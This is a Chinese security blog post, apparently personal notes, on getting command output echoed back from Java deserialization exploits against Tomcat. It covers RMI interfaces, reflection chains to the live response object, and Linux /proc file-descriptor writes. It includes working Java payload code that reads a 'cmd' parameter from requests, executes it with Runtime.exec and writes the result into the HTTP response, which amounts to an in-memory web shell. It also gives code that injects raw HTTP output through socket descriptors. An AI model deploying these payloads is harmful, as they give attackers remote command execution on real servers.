java回显

存货文,积了好久,懒得发233,今天发下。

所谓回显。根据各师傅的文章所说。现有的大多数是用defineClass 或 URLClassLoader。加载恶意类并执行。恶意类中进行例如报错、写数据、开RMI通信、等这些操作。就回显了。

不,其实,涉及到内存马加载,都要用这。

反序列化回显,一般都是依靠最终的代码执行点,执行到defineClass或URLClassLoader。,RCE嘛,咱想怎么操作就怎么操作。

RMI方式回显

RMI Bind Echo时要注意:类型转换时,只能转换成接口类型。不能转换成类类型:

1
2
3
4
5
6
7
8
9
10
11
public class Client {
public static void main(String[] args) throws Exception{
//使用接口类型来接,可成
com.interfa.D1 o1 = InitialContext.doLookup("rmi://127.0.0.1/objectServer1");
System.out.println(o1);

//使用实现类来接,会报错
com.interfa.impl.D1Server o2 = InitialContext.doLookup("rmi://127.0.0.1/objectServer1");
System.out.println(o2);
}
}

但是,我们传给defineClass来还原类时,一次只能传一个类。没法将本地自定义接口传上去。

虽说这个报错是客户端的报错。照理说我们仿写一下发送逻辑,就可以规避这些问题?

不。不可以。RMI服务端在调用方法时,是根据接口定义的方法,来生成MethodHash的。普通的Remote接口中没有定义方法,所以最终的MethodHashMap是空的。没法成功调用方法。

所以,我们需要在服务端上找一个继承了Remote的接口,并且该接口能接受参数(命令传参),存在返回值(命令回显)。

在原生JDk中,找到如下接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
RMIConnection
方法: invoke()
传参: String
返回值: Object

Activator
方法: activate()
传参: ActivationID - 硬生生构造应该也行。但是太长了哈哈哈。不考虑
返回值: MarshalledObject - byte[] objBytes可存储数据

RMIServer
方法: newClient()
传参: Object
返回值: RMIConnection - RMIConnectionImpl实现类中有属性String connectionId 可存储数据

DGC
方法: dirty()
传参: Lease - VMID属性里有byte[] addr可存储数据
返回值: Lease - VMID属性里有byte[] addr可存储数据

ActivationSystem
方法: setActivationDesc()
传参: ActivationDesc - String className属性可存储数据
返回值: ActivationDesc - String className属性可存储数据

ActivationInstantiator
方法: newInstance()
传参: ActivationDesc - String className属性可存储数据
返回值: MarshalledObject<? extends Remote> - byte[] objBytes属性可存储数据

虽说大部分接口的返回值不是String。传入的参数也不是String。但只要参数对象中,存在String、byte[]这两种类型的属性。就可以存放命令执行的回显。

或者,目标没有RMI。我们可以自创一个RMI Server。只需要修改下恶意类,改成LocateRegistry.createRegistry()就好了。这里不赘述了。

用CC2的话。一直反射Invoke,也是可的。只是麻烦点。这里就不写啦哈哈哈。

Tomcat回显

主要的方法:

  1. 报错回显
  2. 拿response对象
  3. Linux下拿/proc/self/fd/i。控制文件描述符作回显

SpringMVC中用Tomcat回显,有些小问题。因为Controller逻辑中设置了response后,SpringMvc会再处理一边

解决思路:在Controller中就调用Response#finishResponse。强制返回。

但不管怎么样。在SpringMVC中强行设置response。会留下一个报错日志。不太优雅哈哈哈

日志信息

1
java.lang.IllegalStateException: getWriter() has already been called for this response

修改程序逻辑,初始化静态变量

起一个Tomcat,在Controller打断点。然后回看调用栈。

寻找思路:找一个存放了response的Static变量,这样程序全局都可以使用到他。

定位到 ApplicationFilterChain#internalDoFilter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
final class ApplicationFilterChain implements FilterChain, CometFilterChain {

//存在静态变量
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

//
/**
* The int which is used to maintain the current position
* in the filter chain.
*/
private int pos = 0;


/**
* The int which gives the current number of filters in the chain.
*/
private int n = 0;

.....
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

//如果有自定义的Filter,优先执行
if (pos < n) {
...
return;
}
.....
//若ApplicationDispatcher.WRAP_SAME_OBJECT为true
//将request和response塞入静态变量中
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
.....
}


}

缺点:使用Shiro这种另外走自定义Filter的。如果没继续 chain.doFilter(request, response);的操作,就会调用到if (ApplicationDispatcher.WRAP_SAME_OBJECT)语句块。

操作:

通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECTtrue,即可让Tomcat将request和response存入静态变量lastServicedRequest

这里有个小坑:ApplicationDispatcher.WRAP_SAME_OBJECTfinal类型的,我们需要先通过反射,将其final属性抹掉,才能正常通过反射设置值。关于抹掉final属性的文在这 反射修改final属性

全局存储

直接用的话,获取路径为:

1
Thread.currentThread().getContextClassLoader() -> ParallelWebappClassLoader -> StandardRoot -> StandardContext -> ApplicationContext -> StandardService -> Connector -> Http11NioProtocol -> AbstractProtocol$ConnectionHandler -> RequestGroupInfo -> RequestInfo -> Request -> Response

Thread.currentThread().getContextClassLoader()ApplicationContext的阶段,都是线程类加载器处理的。所以我们不需要关心。真正需要关心的是StandardService之后的,是如何获取的。

原作者的这篇文也把他寻找的思路写出来了。讲的挺清楚了。下文都是我跟着调时记的笔记

思路:找到存放response的类。跟调用栈,看最终存储到哪。最后用线程上下文加载器来拿到这个类

找到一个存放response的类:Http11Processor

1
Http11Processor.Response - 原因:final,不会被修改

开Java Web项目,断点打在控制器。看调用栈。创建Http11Processor的操作就在AbstractProtocol#process()

此时的思路是:寻找哪里存放了Http11Processor

注意:找存储变量的操作。不一定在调用栈前,也不一定在调用栈后。前后我们都应该去翻一翻,看一看。

最佳方式是:找到变量最初的创建点,然后顺着看。如果变量是启动时创建的,那就看做参数传入函数时,有无对其进行操作。跟的太深不要紧,做好笔记就好了。

Http11Processor的存储

AbstractProtocol#process

1
2
3
4
if (processor == null) {
processor = getProtocol().createProcessor();
register(processor); //[!]
}

[!]作用:

  • processor里的RequestInfo request.reqProcessorMX塞入**RequestGroupInfo AbstractProtocol$ConnectionHandler.global**

  • RequestInfo request.reqProcessorMX存在org.apache.coyote.Request req字段。里头有response

既然Http11Processor被存储到AbstractProtocol$ConnectionHandler.global中,接下来就找哪里存放了AbstractProtocol$ConnectionHandler。这是一个内部类。一般都会被外面的类的属性保存。

Tomcat中,AbstractProtocol存放内部类ConnectionHandler的属性是handler

所以接下来的思路是,找AbstractProtocol的存储点。不过需要注意的是,这是一个抽象类。所以寻找存储点时,应该寻找的是其子类。

继承关系如下

1
2
3
4
5
6
7
8
AbstractProtocol (org.apache.coyote)
AbstractAjpProtocol (org.apache.coyote.ajp)
AjpNioProtocol (org.apache.coyote.ajp)
AjpAprProtocol (org.apache.coyote.ajp)
AjpNio2Protocol (org.apache.coyote.ajp)
AbstractHttp11Protocol (org.apache.coyote.http11)
AbstractHttp11JsseProtocol (org.apache.coyote.http11)
Http11AprProtocol (org.apache.coyote.http11)

这里需要提一下,由于又很多类实例是在Tomcat启动时,就已经初始化好了,所以我们不需要挠破脑子想变量哪里被创建,哪里被赋值。我们目的是找存储点。找到即可,不然会越陷越深。

Http11AprProtocol的存储

跟着调用栈,技巧是只看Debug栏中的类属性。如果属性中有存放我们想找的类的实例,就去深入探究下大概的赋值链。

AbstractProcessorLight#process 下一个调用点是Http11Processor#service。这是processor里的方法。

Http11Processor有趣的属性如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protocol = {org.apache.coyote.http11.Http11NioProtocol@3161} 
handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler@3153}

inputBuffer = {org.apache.coyote.http11.Http11InputBuffer@3731}
request = {org.apache.coyote.Request@3728}

outputBuffer = {org.apache.coyote.http11.Http11OutputBuffer@3732}
response = {org.apache.coyote.Response@3729}


adapter = {org.apache.catalina.connector.CoyoteAdapter}
connector = {org.apache.catalina.connector.Connector}
protocolHandler = {org.apache.coyote.http11.Http11NioProtocol}
mserver = {com.sun.jmx.mbeanserver.JmxMBeanServer}
service = {org.apache.catalina.core.StandardService}

userDataHelper = {org.apache.tomcat.util.log.UserDataHelper@3730}
log = {org.apache.juli.logging.DirectJDKLog@3267}
logger = {java.util.logging.Logger@3798}
manager = {ClassLoaderLogManager@3799}
{ParallelWebappClassLoader} -> {ClassLoaderLogManager$ClassLoaderLogInfo}
{RLClassLoader} -> {ClassLoaderLogManager$ClassLoaderLogInfo}
{ParallelWebappClassLoader} -> {ClassLoaderLogManager$ClassLoaderLogInfo}
{Launcher$AppClassLoader} -> {ClassLoaderLogManager$ClassLoaderLogInfo}

入参有个`socketWrapper`,里头有socket数据。不知道可不可以利用
入参被包裹进`outputBuffer`了

找到了有趣属性,就往调用点前/后去找,有无队这些属性进行保存等操作

在*CoyoteAdapter#service()*中。connector.protocolHandler存放了上文的protocol。最后Tomcat启动时会将connector放入StandardContext。Tomcat8+可以通过currentThread获取到StandardContext

ps:

AbstractProcessor.response 也是response

记个没用东西

Tomcat写文件。不知道路径的情况下,可以使用org.apache.coyote.http11.Http11Protocol.log下的logger.manager.classLoaderLoggers。这里有很多classLoader。还会记录路径

Tomcat7 - 9。都可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
org.apache.coyote.http11.Http11Protocol.log = {org.apache.juli.logging.DirectJDKLog} 
logger = {java.util.logging.Logger}
manager = {org.apache.juli.ClassLoaderLogManager}
classLoaderLoggers = {java.util.WeakHashMap} size = 4
key = {org.apache.catalina.loader.WebappClassLoader}
antiJARLocking = false
resources = {org.apache.naming.resources.ProxyDirContext}
proxy = {org.apache.naming.resources.ProxyDirContext}
env = {java.util.Hashtable} size = 2
dirContext = {org.apache.naming.resources.FileDirContext}
base = {java.io.File}
absoluteBase = "D:\ide\env\tomcat\apache-tomcat-7.0.8\webapps\manager" //[!]


org.apache.coyote.http11.Http11Protocol.log = {org.apache.juli.logging.DirectJDKLog}
logger = {java.util.logging.Logger}
manager = {org.apache.juli.ClassLoaderLogManager}
classLoaderLoggers = {java.util.WeakHashMap} size = 4
key = {org.apache.catalina.loader.StandardClassLoader}
value = {org.apache.juli.ClassLoaderLogManager$ClassLoaderLogInfo}
rootNode = {org.apache.juli.ClassLoaderLogManager$LogNode}
logger = {org.apache.juli.ClassLoaderLogManager$RootLogger}
manager = {org.apache.juli.ClassLoaderLogManager}
name = ""
handlers = {java.util.concurrent.CopyOnWriteArrayList} size = 2 //[!]
0 = {org.apache.juli.FileHandler}
date = "2021-12-09"
directory = "C:\Users\e\AppData\Local\JetBrains\IntelliJIdea2021.2\tomcat\2b72dbbd-2f54-48a6-9ed1-18ebe03347fa/logs"

那么,我们也可以通过写文件的方式,写入到 ?????

Adpter是启动时就已经设置好了的

* Tomcat7 另一个静态变量

李三师傅提出来的。原文:tomcat不出网回显连续剧第六集

这个相对于全局存储来说,还是比较好理解的哈哈哈。毕竟一个反射全解决了。

Tomcat对processor进行register()的操作和Tomcat8不太一样。具体代码在Http11Protocol#createProcessor()。其中有调用 *Http11Protocol#register()*的操作

在*Http11Protocol#register()*中。有下面这么一行。将rp丢进了registerComponent()

1
Registry.getRegistry(null, null).registerComponent(rp, rpName, null);

很明显的看到Registry.getRegistry(null, null)是一个静态调用。跟进去可以发现。其返回的就是Registry.registry静态属性。

那,如果接下来的registerComponent()逻辑中有将rp存入Registry.registry或其引用的类中,那么就可以通过Registry.getRegistry(null, null)静态调用,在Tomcat任意位置取到response了。下面我们要找的是在何处存储了rp

跟进registerComponent(),可以找到将RequestInfo rp设置到静态变量的代码。调用栈如下:

寻找存储点的思路:高亮显示要被的变量rp,发现哪个方法有传入该变量,跟进分析

1
2
3
4
5
6
7
8
9
addMoiToTb:278, Repository
addMBean:440, Repository
registerWithRepository:1898, DefaultMBeanServerInterceptor
registerDynamicMBean:966, DefaultMBeanServerInterceptor
registerObject:900, DefaultMBeanServerInterceptor
registerMBean:324, DefaultMBeanServerInterceptor
registerMBean:522, JmxMBeanServer
registerComponent:749, Registry
register:272, Http11Protocol$Http11ConnectionHandler

最终在*Repository#addMoiToTb()*进行了存储操作。存入的是一个map

1
2
3
4
5
6
7
8
private void addMoiToTb(final DynamicMBean object,
final ObjectName name,
final String key,
final Map<String,NamedObject> moiTb,
final RegistrationContext context) {
registering(context);
moiTb.put(key,new NamedObject(name, object));//存储操作
}

变量内容如下,我们需要用循环+判断,获取RequestGroupInfo类型的元素:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
moiTb = {java.util.HashMap@2764}  size = 37
"name="ajp-bio-8009",type=GlobalRequestProcessor"
key = "name="ajp-bio-8009",type=GlobalRequestProcessor"
value = {com.sun.jmx.mbeanserver.NamedObject@2822}
name = {javax.management.ObjectName@2902}
object = {org.apache.tomcat.util.modeler.BaseModelMBean@2903}
....
resource = {org.apache.coyote.RequestGroupInfo@2910} //存在response的类型为RequestGroupInfo
resourceType = "org.apache.coyote.RequestGroupInfo"

"type=StringCache" -> {com.sun.jmx.mbeanserver.NamedObject@2824}
key = "type=StringCache"
value = {com.sun.jmx.mbeanserver.NamedObject@2824}
name = {javax.management.ObjectName@2904}
object = {org.apache.tomcat.util.modeler.BaseModelMBean@2905}
.....
resource = {org.apache.tomcat.util.buf.StringCache@2907} //别的都是其他类型
resourceType = "org.apache.tomcat.util.buf.StringCache"

获取RequestGroupInfo的存储链如下

1
2
3
4
5
6
7
8
org.apache.tomcat.util.modeler.Registry.registry
-> server
-> mbsInterceptor
-> repository
-> domainTb
-> "Catalina"
-> "name=\"ajp-bio-8009\",type=GlobalRequestProcessor"

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/*
org.apache.tomcat.util.modeler.Registry.registry.getMBeanServer()
反射拿mbsInterceptor
反射拿repository
反射拿domainTb
操作Map domainTb,拿`Catalina`的值
`Catalina`也是一个Map。遍历找到`RequestGroupInfo`类型,这就是存在response的对象
*/
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
try {
Field mbsInterceptorField = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
mbsInterceptorField.setAccessible(true);
Object mbsInterceptor = mbsInterceptorField.get(mBeanServer);

Field repositoryField = mbsInterceptor.getClass().getDeclaredField("repository");
repositoryField.setAccessible(true);
Object repository = repositoryField.get(mbsInterceptor);

Field domainTbField = repository.getClass().getDeclaredField("domainTb");
domainTbField.setAccessible(true);
Map<String,Map<String, NamedObject>> domainTb = (Map) domainTbField.get(repository);
Map<String, NamedObject> catalina = domainTb.get("Catalina");
Set<String> set = catalina.keySet();
for (String key : set) {
NamedObject namedObject = catalina.get(key);
//一层层判断下去,防止报错
if(namedObject.getObject().getClass().isAssignableFrom(BaseModelMBean.class)){
BaseModelMBean baseModelMBean = (BaseModelMBean) namedObject.getObject();
if (baseModelMBean.getManagedResource().getClass().isAssignableFrom(RequestGroupInfo.class)) {
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) baseModelMBean.getManagedResource();
//判断下processors数量,有的是0,不是我们要找的
Field processorsField = requestGroupInfo.getClass().getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList<RequestInfo> processors = (ArrayList) processorsField.get(requestGroupInfo);
for (RequestInfo processor : processors) {
//全部reponse都打上回显吧。免得有些回显不到
Field reqField = processor.getClass().getDeclaredField("req");
reqField.setAccessible(true);
Request req = (Request) reqField.get(processor);
Response response = req.getResponse();

//Tomcat8 之后,OutputBuffer没法获取了。只能通过强行发射来拿
OutputBuffer outputBuffer = response.getOutputBuffer();
//Field outputBufferFiled = response.getClass().getDeclaredField("outputBuffer");
//outputBufferFiled.setAccessible(true);
//OutputBuffer outputBuffer = (OutputBuffer) outputBufferFiled.get(response);

ByteChunk byteChunk = new ByteChunk();

//根据请求,命令执行和回显
String cmd = req.getParameters().getParameter("cmd");
String echoEnable = req.getParameters().getParameter("echoEnable");
if ("true".equals(echoEnable) && cmd != null){
InputStream execInputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(execInputStream);
//1Mb一段读取
byte[] buffer = new byte[1024];
int len;
while((len = bufferedInputStream.read(buffer)) > 0){
byteChunk.append(buffer, 0, len);
}
//Tomcat7 这样
outputBuffer.doWrite(byteChunk, response);
//Tomcat8 用这样的格式
//outputBuffer.doWrite(byteChunk);
bufferedInputStream.close();
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}

ps:回显不太稳定,有一小部分时间会没有回显。估计和Tomcat的多线程有关。多刷新几次又出来了

这里可以注意下。最终response的输出是调用doWrite(ByteBuffer chunk)的。其中有这么一段

ChunkedOutputFilter#doWrite()

1
2
3
4
5
6
int result = chunk.remaining();

if (result <= 0) {
return 0;
}
.....

跟进chunk.remaining();,能看到这样的光景:

Buffer#remaining()

1
2
3
4
public final int remaining() {
int rem = limit - position;
return rem > 0 ? rem : 0;
}

我们在进行ByteBuffer.put()以后,需要让字节指针归位。不然Buffer#remaining()返回0

适配多版本的思路是:不同版本,有些方法参数不一样,包名不一样。我们可以通过反射来“相对动态”地调用。并加入try-catch。如果方法不存在,就说明当前Tomcat是其他版本

* ClassLoader拿Context

作为一个技巧,Tomcat中ServletClassLoaderParallelWebappClassLoader。所以只要拿到Servlet.class.getClassLoader,就能拿到ParallelWebappClassLoader。在ParallelWebappClassLoader中可以通过ParallelWebappClassLoader.resources.context拿到Context,这样,内存马啊回显啊都能搞定了。

Thread.currentThread().getContextClassLoader()可获得当前线程的ClassLoader(),如果该代码写在Servlet中或是由Servlet触发的话,ClassLoaderParallelWebappClassLoader

通过ParallelWebappClassLoader.resources.context拿到的ContextStandardContext的实例。对于回显来说,从StandardContext拿到真正的Request的路径如下:

1
context.service.connectors.0.protocolHandler.handler.global.processors

* getServletContext()

在Servlet下,可以通过直接调用getServletContext(),获取ServletContextServletContext的类型是ApplicationContextFacade。该类型可以通过context.context获取StandardContext。从StandardContext获取到Request的路径上文有说。

* NioEndpoint

木头师傅提到的,感觉是很通用的方法。由于上文”ClassLoader拿Context”和”getServletContext()”无法在Tocmat7下使用(Tomcat7结构不同)。木头师傅找到了NioEndpoint 类,该类的抽象父类AbstractEndpoint中存放着handlerNioEndpointsocket NIO poller线程的主模块。可以通过遍历线程获取到 NioEndpoint$Poller,再获取其父类NioEndpoint。直接得到handler.global.processors的路径以获取Request。

大概的代码如下,懒得测了,回显马也不常用了233,,,

1
2
3
4
5
6
7
8
9
10
11
12
Field threadsFields = threadGroup.getClass().getDeclaredField("threads");
threadsFields.setAccessible(true);
Thread[] threads = (Thread[]) threadsFields.get(threadGroup);

for (Thread thread : threads) {
if (thread != null && thread.getName().contains("http") && thread.getName().contains("exec")) {
Field targetField = java.lang.Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
.....
}
}

Mapper

翻Tomcat处理路由这一块逻辑时看到的,虚拟主机的Map类MappedHost是一个静态类,其成员contextListobject中存在Context。具体的反射拿还没试,应该是可以的。走的还是前文”ClassLoader拿Context”的老路

Linux下Tomcat回显 - 不通用

思路:找socket描述符,没法确定是哪一个就依次write(),总会找到能write()的那个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//have no request & response args. Only execute command by fixed
//cmd
InputStream cmdin = Runtime.getRuntime().exec("ip a").getInputStream();
String cmdRes = new String(readBytesFromInputStream(cmdin, 1024));

//通过ManagementFactory.getRuntimeMXBean()找Tomcat的PID
String name = ManagementFactory.getRuntimeMXBean().getName();
System.out.println("Runtime: " + name);
//切割,拿PID
String pid = name.split("@")[0];
String path = "/proc/" + pid + "/fd";
System.out.println("path: " + path);

//fetch所有的fd socket文件描述符
String[] cmd = new String[]{"/bin/bash","-c","ls -l " + path + " | grep socket:"};
InputStream inputStream6 = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes6 = readBytesFromInputStream(inputStream6, 1024);
String socketFilesString = new String(bytes6);

//split by line and fetch one by one
String[] socketFilesArr = socketFilesString.split("\n");
for (String socketFile : socketFilesArr) {
String stringLeft = socketFile.split(" ->")[0];
String[] socketDescriptorArr = stringLeft.split(" ");
String socketDescriptor = socketDescriptorArr[socketDescriptorArr.length - 1];
//compent the path
String socketDescriptorPath = path + "/" + socketDescriptor;
System.out.println(socketDescriptorPath);

try {
Constructor<FileDescriptor> fileDescriptorConstructor = FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});
fileDescriptorConstructor.setAccessible(true);
FileDescriptor fileDescriptor = fileDescriptorConstructor.newInstance(Integer.parseInt(socketDescriptor));
FileOutputStream fileOutputStream = new FileOutputStream(fileDescriptor);

fileOutputStream.write(("HTTP/1 200 OK\r\n\r\n" + cmdRes + "\r\n\r\n").getBytes());
fileOutputStream.close();
System.out.println("[+] " + socketDescriptorPath);

}catch (Exception e){
e.printStackTrace();
}
}

效果

并发太多,容易烂掉

Reference

Java回显综述

通杀漏洞利用回显方法-linux平台

linux下java反序列化通杀回显方法的低配版实现

Tomcat中一种半通用回显方法

tomcat不出网回显连续剧第六集

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

https://man7.org/linux/man-pages/man5/proc.5.html